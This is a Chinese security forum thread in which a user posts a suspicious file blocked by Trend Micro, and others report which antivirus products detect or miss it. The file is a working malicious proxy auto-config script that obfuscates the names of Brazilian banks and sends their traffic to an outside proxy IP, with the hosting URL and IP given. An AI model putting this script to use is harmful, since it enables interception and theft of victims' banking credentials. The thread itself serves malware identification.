一个趋势拦截的可疑地址

欧阳宣

http://www.godolloi-serlegbolt.hu/xml/tfile.txt

[mw_shl_code=css,true]function FindProxyForURL(url, host)
{
//IPS
var iphot = "PROXY 104.251.215.212";
var hot1 = "*bb*";
var hot2 = "*bancobrasil*";
var hot3 = "*i" + "t" + "a" + "u*";
var hot4 = "*s" + "a" + "n" + "t" + "a" + "n" + "d" + "e" + "r*";
var hot5 = "*" + reverse("ocsedarb") + "*";
var hot6 = "*" + reverse("axiac") + "*";
var hot7 = "*" + reverse("asares") + "*";

if (shExpMatch(host, hot1)) {
return iphot;
}
if (shExpMatch(host, hot2)) {
return iphot;
}
if (shExpMatch(host, hot3)) {
return iphot;
}
if (shExpMatch(host, hot4)) {
return iphot;
}
if (shExpMatch(host, hot5)) {
return iphot;
}
if (shExpMatch(host, hot6)) {
return iphot;
}
if (shExpMatch(host, hot7)) {
return iphot;
}
return "DIRECT";
}

function reverse(s){
    return s.split("").reverse().join("");[/mw_shl_code]

所以……放行的话会有什么行为呢

挥泪斩情思

NS没拦

Johnkay.Young

无反应。

轩夏

MSE miss

cjn

卡巴拦截了

话说一个txt文档里会有什么

XywCloud

文件有害，不多说啥。

lovelive10010

挥泪斩情思 发表于 2016-8-25 09:18
NS没拦

看到你的回复我手一抖，就把还没打开的网址关掉了，NIS MISS

aboringman

AVG：miss

欧阳宣

XywCloud 发表于 2016-8-25 10:34
文件有害，不多说啥。

怎么了，这东西一直被趋势拦截，我想抓到并且定位进程

pal家族

XywCloud 发表于 2016-8-25 10:34
文件有害，不多说啥。

盗号的吗